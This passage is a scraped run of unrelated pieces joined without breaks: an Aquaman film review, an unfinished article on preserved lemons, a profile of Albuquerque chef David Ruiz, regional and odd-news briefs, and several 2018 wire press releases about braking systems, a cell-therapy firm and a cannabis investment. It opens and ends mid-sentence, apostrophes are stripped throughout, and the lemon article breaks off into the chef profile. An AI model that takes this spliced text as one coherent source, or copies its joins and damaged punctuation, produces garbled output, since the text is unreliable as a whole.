Wans bright and lively version of Aquaman follows up on the promise, delivering a film that is, above all, a boatload of fun. Wanwho gave us clever, low-budget horror hits Saw, Dead Silence, Insidious and The Conjuringsteps up to the big-budget big leagues with this follow-up to 2017s only partially successful Justice League. He takes most of his inspiration from crosstown rival Marvels Thor films. Aquaman is a similarly breezy blend of mythology and sci-fi, delivered to audiences with a winking sense of humor. Screenwriters David Leslie Johnson-McGoldrick (who penned a lot of AMCs The Walking Dead) & Will Beall (who cut his teeth on ABCs Castle) had their work cut out for them. Aquaman is one of the least respected superhero creations in all of comicdom. Justice League did feature what was undoubtedly the coolest version of half-Altlantean avenger Arthur Curry. Actor Jason Momoas portrayal made him the films most buzzed-about character. But in all honesty, all he did was take off his shirt and dispense a handful of snarky quips. Aquaman builds on that slim foundation, fleshing out the character and giving him a meatier backstory. Seems that Arthur is the offspring of a forbidden romance between lonely lighthouse keeper Tom Curry (legendary New Zealand actor Temuera Morrison from Once Were Warriors and Star Wars: Episode IIAttack of the Clones) and exiled queen of Atlantis Atlanna (Nicole Kidman, further upping the down under contingent). Despite the fact thatas the queens firstborn sonhes the rightful heir to the throne of Atlantis, Arthur hates his watery homeland. Seems his mother was recaptured and executed by the Atlanteans when he was just a tadpole. Despite growing up in exile, Arthur was schooled, on the sly, in the ways of Atlantean warriors by wise old merman Vulko (Willem Dafoe). As the self-styled oceanic defender Aquaman, Arthur is happy to battle the occasional high-tech pirate (Yahya Abdul-Mateen II, making a memorable mark as the bloodthirsty Black Manta). But he wants nothing to do with Atlantean politics. Unfortunately for Arthur, fate washes up at his dads lighthouse one day when Atlantean princess Mera (Amber Heard) appears. Seems shes about to be married off to Arthurs half-brother Orm (Patrick Wilson, doubling up on DC hero duty after playing Nite Owl in 2009s Watchmen). Orm is on the edge of conquering the seven kingdoms of Atlantis, declaring himself Ocean Master and waging all-out war on the hated surface dwellers. With no other choice but to save humanity, Arthur reluctantly joins Mera on a round-the-world quest to locate a magical trident, which will secure Arthurs position as the rightful king of Atlantis. Aquaman spends most of its time swimming around in CGI waters. Its clear where the films budget went, as theres hardly a scene in the film untouched by special effects. The undersea kingdom of Atlantis looks like a bioluminescent Roger Dean album cover come to life. The dazzling architecture, fantastical costumes and bizarre creatures are a wonder to behold. Wan proves himself a capable big-budget filmmaker, handling the films countless epic sequences with skill and a dash of style (even if he does show a bit too much love for the old 360-degree spinny camera move). An underwater gladiator fight, a rooftop chase in seaside Italy and an all-out undersea war are among the films visual highlights. If anything, Aquaman is too much of a good thing. At two hours and 23 minutes, its 50 percent Indiana Jones-style globe-hopping treasure hunt, 50 percent Star Wars-style epic battle scenes and 50 percent Superman-style mano-a-mano showdowns between musclemen. That adds up to roughly 50 percent too much film. But it is fun, fantastical and wildly ambitious. For a film about the watery abyss, Aquaman doesnt exactly have a great deal of depth to it. But thats not the worst crime for a popcorn movie. Wan at least is in touch with the projects comic book origins and knows when to drop in a dash of cartoonish silliness without sinking into campy parody. This is a film made for 10-year-olds and the 10-year-old in all of us. By the time our hero Aquaman emerges triumphal in his traditional gold and green comic book garb, most folks will be on board for the whole, reckless, bombastic, rainbow-colored spectacle. PRINT | EMAIL | PERMALINK Know Your Ingredients What Are Preserved Lemons? Not just for tagine anymore Youve probably seen them on cooking shows and in glamorous cookbook photos. Preserved lemons look pretty in their jar all packed down with salt, and the color they add to your kitchen is paralleled by the brightness they can add to your dishes. The attractiveness and the salty-tartness of this traditional North African ingredient have made it something of an it food over the past few years, and more cooks are starting to use it in dishes outside of its usual culinary background. If youd like to add some more dishes and flavor notes to your cooking repertoire, read on to see how preserved lemons can fit into your kitchen. What is it and how is it made? Preserved lemons consist of two ingredients: lemons and salt. Thats it. Well, OK, if you consider time an ingredient, thats three. Lemons are sliced into quarters and packed into a jar or other container with plenty of salt to preserve them and draw out their juice. In Morocco its doqq or boussera lemons that are typically used, but the more readily available meyer lemons work fine as well. How do I use it? Generally its only the peel of the preserved lemons thats used in dishesthe flesh is discarded (it soaks up all the salt, making it pretty unbearably salty). There are all sorts of delicious Moroccan recipes that call for preserved lemon like chicken tagine (a kind of stew) and slow-cooked chickpeas. Outside of these obvious ones though, you can also blend or mash up preserved lemon peel into dressings, marinades and spreads, add it in strips on top of salads and soups or cook it into your pasta and rice dishes. Check out Traditional Moroccan Cooking: Recipes from Fez by Zette Guinaudeau-Franc for more recipes and inspiration on how to use this tangy ingredient. Where can I get it? Preserved Moroccan lemons are hard to come by in Albuquerqueonline purveyors might be your only bet. That said, theyre absurdly easy to make at home. Which leads us to our next question Eric Williams Photography He may not be a movie star, but local chef David Ruiz enjoys celebrity status nonetheless. Not only has he appeared on Food Networks wildly popular show Chopped, he was recently named a winner in the James Beard Foundations 2018 Blended Burger Project. Chef Ruiz, who is only 32 years old, is a budding talent in the food world. Ruiz grew up in the Bay Area, and knew he wanted to be a chef by age 10. His grandma had a farm in Gilroy, Calif., (an agricultural town famous for its garlic and onions) and to Ruiz, the farm was a paradise filled with herbs, jalapenos, tomatillos and avocado trees. His grandma also had livestock, so he was exposed to the realities of where meat comes from at a young age. Although it was difficult for him to eat a duck on the farm he had named Buford, he accepted this as one of the realities of farm life. Ruiz says that both his grandmothers were instrumental in shaping his interest in food, and that my fondest memories are centered around the kitchen table. About six years ago Ruiz moved to Albuquerque, and has since fallen in love with New Mexico. In that short time hes found massive success as a chef. In 2015 he started 505 Food Fights, a food competition that brought local chefs together to form community and to raise money for charitable organizations. In three years 505 Food Fights raised over $85,000 for charity. Ruiz also worked at the reputable Pueblo Harvest in the Indian Pueblo Cultural Center where he crafted New Native American cuisine. This was basically a menu centered around pre-European contact foods such as buffalo, duck, turkey, pheasant, corn, squash and indigenous rice. He worked with several local Native American farmers to source the ingredients for the unique menu. Ruiz also incorporated a youth program at the restaurant: Pueblo Indian youth earned internships to work in the Pueblo Harvest kitchen, and Ruiz hired several interns to stay on long term. New opportunities recently led Ruiz to Toltec Brewing Company, which opened in May of this year. He felt he had maximized his talent at Pueblo Harvest, and was excited by Toltecs owners desire to have a professional chef oversee the kitchen. Ruiz created the menu at Toltec and helped design the kitchen, which speaks to a level of freedom and control that not many chefs have at their restaurants. His creative juices flow freely in this new environment; he is currently experimenting with fermenting vegetables. Ruiz is excited by the prospect of an Albuquerque brewery being highlighted not only for its beer, but also for its food. It appears that the menu is attracting customers; when I visited Toltec on a Wednesday afternoon every booth in the joint was filled with diners. On a side note, Toltec has the only all-female brew staff in the state. Its such a perk to enjoy good beer and food at the same location. Prominent on the menu at Toltec are their burgers, and one especially stands out. The Royale is the creation that won Ruiz the James Beard Award. Its no surprise this burger is so popular since its stacked with delicious ingredients, including a half pound beef brisket, crimini mushrooms, chipotle mayo, green chile, aged white cheddar, bacon, a fried egg and heirloom tomato. The James Beard Award is the highest honor for a chef, and since earning this accolade Ruiz has gained unprecedented exposure and recognition. Many people have reached out to him for advice and consultation on their own culinary careers. Ruiz hopes to help transform the image of Albuquerque from that of Breaking Bad to a place to visit for its fabulous restaurants and breweries. As a part of this effort, Toltec recently started offering Craft Course Wednesdays. For a mere 20 bucks, patrons get a 3 course meal paired with 3 beers. Menu details are posted on social media on Sundays. Through speaking with Ruiz and looking at his accomplishments, one can see that he is a chef with a conscience. He has supported local farmers throughout his career, and still buys all his beef from a rancher in Ruidoso and sources local eggs and produce from the South Valley and surrounding farms. He enjoys working with youth and providing rewarding career opportunities to them. Hes raised money for charity and he wants to attract people to Albuquerque for the right reasons. If more local celebrities had such soul, Ruizs vision of a transformed Albuquerque might come about sooner or later. Newscity N.M. Teacher Raises Discussed A pay increase for New Mexican teachers has been suggested as part of a plan by lawmakers to address the state's failure to provide sufficient education to its children. Last July a judge ruled that New Mexico's school finance system was unconstitutional and failed to provide enough funds to public schools. According to the state constitution, the government is required to provide a uniform system of free public schools sufficient for the education to the state's children. The ruling gave an April 15, 2019, deadline for the governor and Legislature to establish a system that meets constitutional requirements. In response to the decision, two legislative committees have been developing a plan. Last week, according to the Albuquerque Journal, the New Mexico School Boards Association held a panel discussion to identify which of the school system's trouble areas need to be addressed. While the panel of experts chose different areas to focus on, all agreed that teacher salaries must be substantially increased to attract and retain quality educators. Lead counsel at New Mexico Center on Law and Poverty Gail Evans proposed raising teachers' pay by nearly $10,000 a year. State Sen. Mimi Stewart told those gathered that the Legislative Finance Committee was working with the Legislative Education Study Committee to draft a plan ahead of the April 15 deadline. Dateline: Russia A human-like robot featured at a technology forum turned out to be a man wearing a robot costume. According to The New York Times, a robot named Boris was called one of the most advanced robots by the Russian state-sponsored Rossiya-24 news channel. Boris was a featured act at the Proyektoria technology forum, an event aimed at exposing children to the potentials in technology-based careers. During the gathering, the robot took to the stage to speak to the crowd in a pre-recorded voice and dance to a popular song. Reporters applauded the robot, saying it might have inspired some children to pursue a career in robotics. Some Russian bloggers were suspicious of Boris, however, and began asking questions about its lack of sensors and human-like size and shape. Why does it look like as though he was made to fit a human being inside? one journalist asked. More questions were raised as curious viewers attempted to look for information about the robot online and found nothing. Finally, a representative of a costume company called Show Robots came forward and told reporters they recognized the company's Alyosha the Robot costume. The plastic costume costs 250,000 rubles, or about $3,765, to rent. Journalists and bloggers all over Russia attacked Rossiya-24 for its report. The news organization responded, saying it never claimed Boris was a real robot. Rossiya-24 journalist Yevgeny Nipod defended the station, saying it was only guilty of using the wrong choice of words. Dateline: Spain A court found the owners of a catering company not guilty of fraud after they faked their own deaths to avoid catering a wedding and kept the couple's money. El Pais reports the owner of the catering company sent an email to the bride-to-be just hours before her wedding claiming to be someone else and informing her that the company would be unable to perform its duties as he and his son had been killed in a workplace accident. The woman was assured that the money she had already paid the companyabout 75 percent of the total billwould be refunded to her. The couple were unable to contact anyone at the company the day of the ceremony, but spoke to someone claiming to be the owner's brother the next day. He allegedly told them that the man and his son were being buried at that moment. Subsequent attempts to contact the company failed, and the couple never received a refund. While conducting their own investigation, the couple discovered six Facebook pages created by other couples who had been involved in similar situations with the same caterers. The couple pressed charges against the company, and last week a Madrid court ruled in favor of the defendants, saying that although the owners admitted that they lied about being dead, it wasn't clear that they had planned to renege at the time the verbal agreement was made. The night before the wedding, the owner's son had installed a marquee at the venue where the wedding was being held at cost to themselves, and the judges ruled that it constituted a partial fulfillment of the contract and implied an intent to finish the job. The owner of the company reportedly told the judges that he decided not to serve the couple because he didn't get a very good impression of them. The ruling can be appealed. Dateline: United Kingdom Organizers at a holiday event apologized last week after a fire alarm caused an employee dressed as Santa Claus to panic and yell profanities at children. According to CNN, a number of parents were appalled by the man's behavior when a fire alarm at an unrelated event in the same building caused Santa to leave his grotto at the St. Ives Festival and shout, Get the fuck out! at nearby children, according to witnesses, who say parents were already in the act of evacuating. He came [charging] in, ripped his hat and beard off in front of 50 odd kids and started shouting and swearing at people to leave, claimed one witness in a Facebook post. In a public apology, event organizers wrote that Santa immediately assisted in the evacuation of the building and apologized for any offense or distress caused to parents and children by the attempts to ensure all visitors and staff had exited the building and were safe. Dateline: United Kingdom A parent says their child was traumatized when encountering a faux elf murder scene staged by a primary teacher at school. The Manchester Evening News reports Flowery Field Primary School in England decorated a classroom with police tape, a chalk outline and blood splatters as part of a writing exercise which asked a group of Year 4 children to participate in a murder mystery. The students were told they were witnessing the murder scene of one elf who was killed by another and were prompted to solve the case. One parent protested the exercise, however, saying her child suffered from nightmares after the incident. She claimed a number of other parents had reported that their children were unsettled by the exercise. The school's head teacher Ian Fell defended it, saying it engaged children with learning disabilities and may have inspired some to pursue a career in law enforcement. He called the exercise both appropriate and exciting. BRUSSELS, Belgium, Dec. 20, 2018 (GLOBE NEWSWIRE) -- WABCO Holdings Inc. (NYSE: WBC) ( www.wabco-auto.com ), the leading global supplier of braking control systems and other advanced technologies that improve the safety, efficiency and connectivity of commercial vehicles, today announced that it has signed a $950 million long-term agreement with one of the worlds top manufacturers of commercial vehicles. Under the eight-year agreement, WABCO will equip two of the original equipment manufacturers (OEM) brands with its leading braking, advanced driver assistance systems (ADAS) and efficiency technologies. Representing a further industry endorsement of WABCOs global leadership in braking system platforms, this latest multi-year agreement confirms WABCO as the OEMs sole supplier for electronic braking systems (EBS) in Europe and anti-lock braking systems (ABS) in Brazil. WABCO will also supply conventional valves to support both braking systems. WABCO will further provide air-disc brakes (ADB), electronically controlled air suspension (ECAS), actuators, and its next generation, cost-optimized, lighter integrated pedal units (IPU). Additionally, WABCO will supply air compressors for the OEMs engine brand while supporting the expansion of the engines availability in the U.S. and Brazil with local production and global engineering capabilities. During the course of the agreement, WABCO will also supply its next generation Optimized Power Reduction (OPR) single-piston compressor and its new clutch solution offering enhanced fuel efficiency. As part of the wide-ranging agreement, the OEM is also confirmed as WABCOs lead customer for its next generation OnGuardACTIVETM Advanced Emergency Braking System (AEBS) solution with series production planned for 2019. Featuring a new radar sensor which offers the commercial vehicle industrys longest radar detection range, as well as the widest near-range field of view, WABCOs OnGuardACTIVE can now provide up to full autonomous emergency braking on moving and stationary vehicles from a highway speed up to 80 km per hour even in poor visibility conditions. WABCO is the industrys original equipment manufacturer (OEM) independent leader for collision mitigation systems and ADAS, with more than 450,000 OnGuard safety systems sold world-wide. As its full system supplier of EBS and ADAS, WABCO will additionally equip the OEMs new electric vehicles. WABCO is also closely collaborating with the OEM on its platooning program. WABCO and the OEM are additionally both contributing to the ENSEMBLE innovation consortium, co-funded by the European Union, which is seeking to develop and demonstrate multi-brand truck platooning in Europe. We are honored that this major global OEM continues to place its faith in WABCO to deliver pioneering innovations and high-quality standards which offer real differentiating value for its leading truck brands, said Nick Rens, WABCO President, EMEA. This significant and wide-ranging business agreement powerfully demonstrates WABCOs pioneering global braking and ADAS leadership as well as our ability to serve the diverse advanced vehicle safety and efficiency requirements of leading global commercial vehicle manufacturers. About WABCO WABCO (NYSE: WBC) is the leading global supplier of braking control systems and other advanced technologies that improve the safety, efficiency and connectivity of commercial vehicles. Originating from the Westinghouse Air Brake Company founded nearly 150 years ago, WABCO is powerfully Mobilizing Vehicle Intelligence to support the increasingly autonomous, connected and electric future of the commercial vehicle industry. WABCO continues to pioneer innovations to address key technology milestones in autonomous mobility and apply its extensive expertise to integrate the complex control and fail-safe systems required to efficiently and safely govern vehicle dynamics at every stage of a vehicles journey on the highway, in the city and at the depot. Today, leading truck, bus and trailer brands worldwide rely on WABCOs differentiating technologies. Powered by its vision for accident-free driving and greener transportation solutions, WABCO is also at the forefront of advanced fleet management systems and digital services that contribute to commercial fleet efficiency. In 2017, WABCO reported sales of $3.3 billion and has nearly 15,000 employees in 40 countries. For more information, visit www.wabco-auto.com and, for WABCOs 2017 Annual Report, visit ar.wabco-auto.com . WABCO global media contact Nina Friedmann, +49 69 719 168 171, wabco@klenkhoursch.de WABCO investors and analysts contact BALTIMORE, Dec. 20, 2018 (GLOBE NEWSWIRE) -- WindMIL Therapeutics, a clinical-stage company developing marrow-infiltrating lymphocytes (MILs) for cancer immunotherapy, has announced the appointments of Monil Shah, PharmD, MBA, as Chief Development Officer, and Patrick Dougherty as Vice President of Operations. The company also announced it has secured office space in Philadelphia to accommodate its expanding executive, operations and clinical teams. WindMILs new Philadelphia office and meeting space at One Drexel Plaza in University City positions the company to attract talent from one of the nations leading hubs for cell therapy innovation and provides access to the greater Philadelphia regions formidable pool of experienced biotechnology and pharmaceutical workers. The new offices proximity to Amtraks 30th Street Station will also provide employees with convenient travel to Baltimore, where WindMILs laboratories and scientific team continue to be based. Establishing an office in Philadelphia provides a hub for WindMILs local operations. It is yet another benefit of joining our growing team and helping progress a novel class of autologous cell therapies based on our MILs platform, said Brian Halak, PhD, President and CEO of WindMIL Therapeutics. Dr. Halak continued, We are also thrilled to welcome Monil and Patrick to WindMIL and excited for the roles they will each play as we build upon our position as the leader in cellular therapeutics emanating from bone marrow. Monils extensive experience initiating and running oncology trials will be critical for us as we prepare to begin our own clinical studies of MILs this coming year. Patrick brings a wealth of operational know-how and strategy-setting experience that will allow us to scale our business to support this period of growth. Dr. Shah has more than 20 years of pharmaceutical and biotechnology industry experience in oncology drug development. Before joining WindMIL, he was the Chief Operating Officer of Brooklyn ImmunoTherapeutics, previously known as IRX Therapeutics. Prior to his tenure there, Dr. Shah was the Medical Affairs Lead for Immuno-Oncology at Bristol-Myers Squibb. He also served as Head of Clinical Operations and Development at Ventrus Biosciences before its merger with Assembly Biosciences. Prior to Ventrus, Dr. Shah led the solid tumor development programs and the clinical portfolio and strategic planning function at Celgene. He also led the Oncology Development and Operations activities at FibroGen and Novacea. Dr. Shah began his career at Novartis in the Oncology Early Development Group, leading clinical trials before joining the Medical Sciences Group at Amgen. He received his BS and PharmD degrees from Rutgers University and his MBA from Florida Institute of Technology. Before joining WindMIL as Vice President of Operations, Mr. Dougherty was Chief of Staff to the Senior Vice President, R&D Pipeline for Pharmaceuticals R&D at GlaxoSmithKline (GSK). Mr. Dougherty joined GSK in 2009 as a Director in the R&D Strategy Office and went on to hold a number of leadership roles and steer multiple strategic efforts for Pharmaceuticals R&D. Prior to joining GSK, Mr. Dougherty was an engagement manager in the Life Sciences practice of L.E.K. Consulting, where he led more than 30 engagements for a wide range of biotech and pharmaceutical clients. He has also held various roles in business and corporate development at Endo Pharmaceuticals and the Penn Center for Innovation (formerly the Center for Technology Transfer) at the University of Pennsylvania. Mr. Dougherty holds a BS in chemistry from Villanova University, MSc in technology management from the University of Manchester (UK) and MBA from the Wharton School at the University of Pennsylvania. About WindMIL Therapeutics WindMIL Therapeutics is a clinical-stage company developing a novel class of autologous cell therapies based on marrow infiltrating lymphocytes (MILs) for cancer immunotherapy. As the leader in cellular therapeutics emanating from bone marrow, WindMIL translates novel insights in bone marrow immunology into life-saving cancer immunotherapeutics for patients. The companys proprietary process to extract, activate and expand these cells offers unique immunotherapeutic advantages, including inherent tumor-specificity, high cytotoxic potential, and long persistence. For more information, please visit: https://windmiltherapeutics.com . Media Contact: Markham, Ontario, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Transaction Highlights Terms and License Agreement: Flowr acquires 19.8% of Holigen. Enters into an exclusive termed IP licensing agreement which is expected to significantly accelerate the completion of Holigens construction and licensing projects. Cash payment of C$6 million. Massive Scale : Holigen is in the final stages of obtaining a license for one of the most significant cultivation facilities in the developed world which includes an outdoor cultivation license allowing a potential 500,000 kgs of annual capacity on 65 hectares. Low Production Costs : Large scale outdoor production in Portugal could produce one of the lowest cost cultivation opportunities in the world given Portugals climate and workforce in combination with Flowrs cultivation expertise. Global Distribution : Holigen is in the final stages of obtaining a license in Portugal allowing export of low-cost cannabis products, providing direct access to EU markets as well as global exports. Growing Network : Holigen is forming partnerships with major distributors serving Germany, Poland, UK and Ireland and has strong ties to the largest medical cannabis distributor in Australia with distribution channels across 35 countries. Opportunity : Currently 22 countries in Europe have medical cannabis programs. By 2028, Europes medical cannabis market is projected to grow to over C$84 billion and Australias cannabis market to over C$11 billion (Source: Prohibition Partners) ***** We believe this is a transformative transaction that establishes Flowr as a global player in the cannabis industry, said Vinay Tolia, Co-CEO of The Flowr Corporation. Were using our financial strength and industry-leading cultivation expertise to gain exposure to the rapidly expanding European and Australian markets through Holigen. ***** The Flowr Corporation (Flowr or the Company) (TSX.V: FLWR; OTC: FLWPF), a Canadian Licensed Producer of premium cannabis products, announced today it has acquired a 19.8% interest in Holigen Limited (Holigen). Flowr will provide, among other things, its cultivation, facility design and construction IP for use by Holigen in the construction of its facilities in Portugal and Australia and for obtaining its final licenses in those territories. Significant Cultivation Facilities, Potential Low-Cost Production Holigen is a European-based cannabis company in the process of developing large-scale cannabis cultivation facilities and Good Manufacturing Process (GMP) compliant production facilities that are expected to provide finished medical cannabis products, pharmaceutical ingredients, and plants and seeds to medical cannabis markets globally. Holigen is in the final stages of obtaining one of the largest cultivation licenses in the developed world for outdoor and greenhouse facilities on 72 hectares (7.8 million square feet) in Portugal. This project has been designated a Project of National Interest by the Portuguese government, which ensures special handling and prioritization by government agencies and access to low cost financing. Benefitting from Portugals climate, cost-effective land and labour, and the high crop yields it expects to generate by employing Flowrs cultivation IP, Holigen could be among the lowest cost producers in the world. The combination of Holigens strong management team and incredible assets along with our cultivation, design and construction IP will create what we believe will be a worldwide leader in production said Tom Flow, Co-CEO of Flowr. Licensing Near Completion, GMP Certification Expected Holigen expects to complete its licensing process for its first site in Portugal by mid-2019 and expects to be one of the few licensed producers in Europe that will produce products in GMP-compliant facilities. Holigen has applied for licenses to cultivate, manufacture, distribute, import and export medical cannabis and derived products at two sites. These applications were considered compliant with local regulations by the health authorities in Portugal (INFARMED). Both sites are pending inspections to complete the licensing process. Holigen anticipates licenses to be granted for site 1 by Q2 2019 and site 2 by early 2020. Its Australian facilities have already achieved GMP certifications with respect to the relabeling and release of products. As the fit-out of the facility progresses, Holigen expects to arrange further GMP inspections. In Australia, Holigen has strong ties to the countrys largest distributor of medical cannabis and holds the following medical cannabis licenses: Cultivation, R&D and Manufacturing from the Office of Drug Control and Drug Control Section Australia (Therapeutic Goods Administration) and GMP License from the TGA. Holigen is in the process of obtaining a New South Wales Schedule 8 pharmaceutical manufacturing license, which is the remaining license it requires. Development Details Holigen currently is developing four cultivation facilities in Portugal and Australia along with production and R&D facilities. These sites include: A 65 hectare (seven million square foot) outdoor cultivation site in Portugal that is expected to be partly operational in the second quarter of 2019 and fully operation in the first quarter of 2021 with potential production of more than 500,000 kg annually; A 294,000 square foot greenhouse facility in Portugal that is expected to begin operating in the first quarter of 2020 with potential production of 110,000 kg annually; An indoor facility in Portugal expected to begin production in mid-2019 with a potential capacity of approximately 3,500 kg annually and the potential capacity to extract up to 49 tons of dried product; Approximately 90,000 square feet of planned GMP-compliant production facilities integrated into the Portuguese cultivation centers; and, A 2.4 hectare site in Sydney suitable for cultivation and manufacturing, which includes a 3,500 square foot indoor cultivation facility with a potential capacity of over 1,000 kg annually. We are delighted to be working with Flowr to develop these valuable properties and licenses into one of the leading cannabis franchises in Europe and Australia, said Pauric Duffy, Holigens Co-Founder. In addition to developing the cultivation facilities, we are hard at work developing medical cannabis brands in our key markets, preparing to leverage the distribution partnerships we are forming, and evaluating alternative product lines like infused beverages. Flowr has the high quality, high yield growing technology and experience that we believe will quickly allow Holigen to execute on the very significant licenses we hold and are obtaining in both Portugal and Australia, said Peter Comerford, Holigens Co-Founder. With the partnerships we are developing, we believe we will be positioned perfectly within the Australian governments ambitious strategy for significant export of medicinal cannabis announced in January. With the licenses we are obtaining, combined with Flowrs proven cultivation technology, we believe this transaction places both companies in a unique position to act as a true medicinal cannabis multinational. Holigen is led by Messrs. Duffy and Comerford and employs an operational team that includes seasoned pharmaceutical engineers led by Aldo Vidinha. These proven leaders have experience building sizable companies and facilities around the world and in the medical, manufacturing and pharmaceutical industries. The closing of the transaction is subject to satisfaction of certain customary closing conditions (including any required stock exchange approval). About Flowr The Flowr Corporation (TSX.V: FLWR; OTC: FLWPF), through its subsidiaries, holds a cannabis production and sales license granted by Health Canada. With a head office in Markham, ON and a production facility in Kelowna, BC, Flowr builds and operates large-scale, GMP-designed cultivation facilities utilizing its own patented growing systems. Flowrs investment in research and development along with its sense of craftsmanship and a spirit of innovation is expected to enable it to provide premium-quality cannabis that appeals to the adult-use recreational market and addresses specific patient needs in the medicinal market. For more information, visit www.flowr.ca Follow Flowr on Twitter: @FlowrCanada; Facebook: Flowr Canada; Instagram: @flowrcanada; and LinkedIn: The Flowr Corporation. On behalf of The Flowr Corporation: Vinay Tolia Co-Chief Executive Officer Forward-Looking Information This press release includes forward-looking information within the meaning of Canadian securities laws regarding Flowr, Holigen and their respective businesses, which may include, but are not limited to: the transactions described herein, the production capacity of Holigen, the cost of production of Holigen, the IP licensing agreement accelerating the completion of Holigens construction and licensing projects, the scale of Holigen, including with respect to Holigen having one of the most significant cultivation facilities in the development world, Portugal providing Holigen with the climate and workforce, in combination with Flowrs cultivation expertise, to produce one of the lowest cost cultivation operations, the status of Holigens licensing process, including the timing of receipt of all required licenses, Holigen being able to export low-cost cannabis and having direct access to EU markets and global markets, the partnerships Holigen is forming with distributors in Germany, Poland, the UK and Ireland, the transaction proving to be transformative for Flowr, the use of Flowrs financial strength and industry leading cultivation expertise gaining it exposure to the European and Australian markets through Holigen, Holigens facilities, Holigen seeking to have GMP compliant facilities, Holigens facilities producing finished medical cannabis products, pharmaceutical ingredients, plants and seeds to the medical cannabis market globally, the combination of Holigen and Flowr creating a worldwide leader in production, the dates for inspections and final granting of licenses for Holigens facilities and properties, Holigen seeking additional GMP inspections in the future, the completion and operational dates for Holigens facilities and properties, including the timing thereof, the production capacity of such facilities and properties, the extraction of dried flower at Holigens facilities, the relationship between Flowr and Holigen creating a leading cannabis franchise in Europe and Australia, Holigen working to develop medical cannabis brands, leveraging its distribution partnerships, and evaluating alternative product lines, such as infused beverages, the partnership between Flowr and Holigen allowing Holigen to execute on the licenses it holds and is obtaining, Holigen being perfectly positioned within the Australian governments export strategy, the transaction placing both companies in a unique position to act as a true medical cannabis multinational, Flowrs investment in research and development along with its sense of craftsmanship and spirit of innovation enabling it to provide premium-quality cannabis that appeals to the adult-use market and addresses specific patient needs in the medicinal market and other factors. Often, but not always, forward-looking information can be identified by the use of words such as potential, plans, is expected, expects, scheduled, intends, contemplates, anticipates, believes, proposes or variations (including negative and grammatical variations) of such words and phrases, or state that certain actions, events or results may, could, would, might or will be taken, occur or be achieved. Such statements are based on the current expectations of Flowrs management and are based on assumptions and subject to risks and uncertainties. Although Flowrs management believes that the assumptions underlying these statements are reasonable, they may prove to be incorrect. The forward-looking events and circumstances discussed in this press release may not occur by certain specified dates or at all and could differ materially as a result of known and unknown risk factors and uncertainties affecting Flowr, including risks relating to the failure to obtain regulatory approvals, the failure to complete the transaction described herein, including as a result of certain conditions not being satisfied, risks relating to the use of Flowrs or Holigens products, risks relating to the markets in which Flowr and Holigen operate and/or distribute their respective products, possible failure to realize the anticipated benefits of the transaction described herein, risks associated with the license agreement described herein, including Holigens breach of such agreement or the infringement of third party IP rights, the reliance on information provided by Holigen about its business and plans, risks associated with the transaction, including the inability of Holigen to complete its licensing process or construct its facilities or properties as a result of a lack of funding, the production capacity of Holigen being less than expected, thus impacting revenues and earnings, the cost of production of Holigen being more than expected, resulting in lower earnings, the IP licensing agreement not accelerating the completion of Holigens construction and licensing projects, the scale of Holigen not being as significant as described herein, Holigen not having one of the most significant cultivation facilities in the development world, or competitors being able to construct and operate comparable facilities and properties, Portugal and Flowr failing to provide Holigen with the climate, workforce and cultivation expertise, as applicable, to produce one of the lowest cost cultivation operations, Holigens licensing process being delayed or not completed, Holigen not being able to export low-cost cannabis and not having direct access to EU markets and global markets, which would materially impact revenues and earnings, Holigen failing to form partnerships with distributors in Germany, Poland, the UK and Ireland, the transaction not proving to be transformative for Flowr, Flowrs financial strength and industry leading cultivation expertise and partnership with Holigen not enabling Flowr to gain exposure to the European and Australian markets, risks associated with Holigens facilities, Holigen not being able to construct and license GMP compliant facilities, which could impact the ability to sell products where such compliance is required, Holigens facilities not producing finished medical cannabis products, pharmaceutical ingredients, plants and seeds that can be distributed globally, the combination of Holigen and Flowr failing to create a worldwide leader in production, the dates for inspections and final granting of licenses for Holigens facilities and properties being delayed and/or not being completed, Holigen failing to complete, or failing to achieve the operational dates for, its facilities and properties, the production capacity of such facilities and properties not being achieved, which could materially impact the value of Holigen, the inability to extract dried flower at Holigens facilities, the relationship between Flowr and Holigen failing to create a leading cannabis franchise in Europe and Australia, Holigens inability to develop medical cannabis brands, leveraging its distribution partnerships, or evaluating alternative product lines, such as infused beverages, the partnership between Flowr and Holigen not benefiting Holigen in executing on the licenses it holds and is obtaining, Holigen failing to participate in the Australian governments export strategy or being delayed in participating in such opportunity, Holigen and Flowr not being in a unique position to act as a true medical cannabis multinational, Holigens inability to grow the amount of cannabis described herein, which could adversely impact revenues, the fact that the facilities described herein may not include all the elements described in this press release, which could adversely impact the partnership described herein, Flowr not being able to sustain its competitive advantage in cultivation and being unable to remain at the forefront of industry innovation, whether as a result of failed construction of the facilities described herein or otherwise, Flowr not being able to meet demand or fulfill purchase orders, which could materially impact revenues and its relationships with purchasers, Flowr requiring additional financing from time to time in order to continue its operations or assist Holigen with its licensing and construction projects, and such financing may not be available when needed or on terms and conditions acceptable to the Company, new laws or regulations adversely affecting the Companys business and results of operations, results of operation activities and development of projects, project cost overruns or unanticipated costs and expenses, the inability of Flowrs products to be high quality, the inability of Flowr to produce and distribute premium, high quality products, the inability to supply products or any delay in such supply, Flowrs securities, the inability to generate cash flows, revenues and/or stable margins, the inability to grow organically, risks associated with fluctuations in exchange rates (including, without limitation, fluctuations in currencies), the cannabis industry and the regulation thereof, the failure to comply with applicable laws, risks relating to partnership arrangements, possible failure to realize the anticipated benefits of partnership arrangements, product launches (including, without limitation, unsuccessful product launches), the inability to launch products, Flowr not being able to provide premium quality cannabis that appeals to the adult-use market and addresses specific patient needs in the medicinal market, the failure to obtain regulatory approvals, economic factors, market conditions, risks associated with the acquisition and/or launch of products, the equity and debt markets generally, risks associated with growth and competition (including, without limitation, with respect to Flowrs and Holigens products), general economic and stock market conditions, risks and uncertainties detailed from time to time in Flowrs filings with the Canadian Securities Administrators and many other factors beyond the control of Flowr. Although Flowr has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking information, there may be other factors that cause actions, events or results to differ from those anticipated, estimated or intended. No forward-looking information can be guaranteed. Except as required by applicable securities laws, forward-looking information speaks only as of the date on which it is made and Flowr undertakes no obligation to publicly update or revise any forward-looking information, whether as a result of new information, future events, or otherwise. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release. - ends - Dublin, Dec. 20, 2018 (GLOBE NEWSWIRE) -- The "Investigation Report on China's Amlodipine Market, 2018-2022" report has been added to ResearchAndMarkets.com's offering. The incidence of hypertension is increasing in China with the development of the economy, the change of 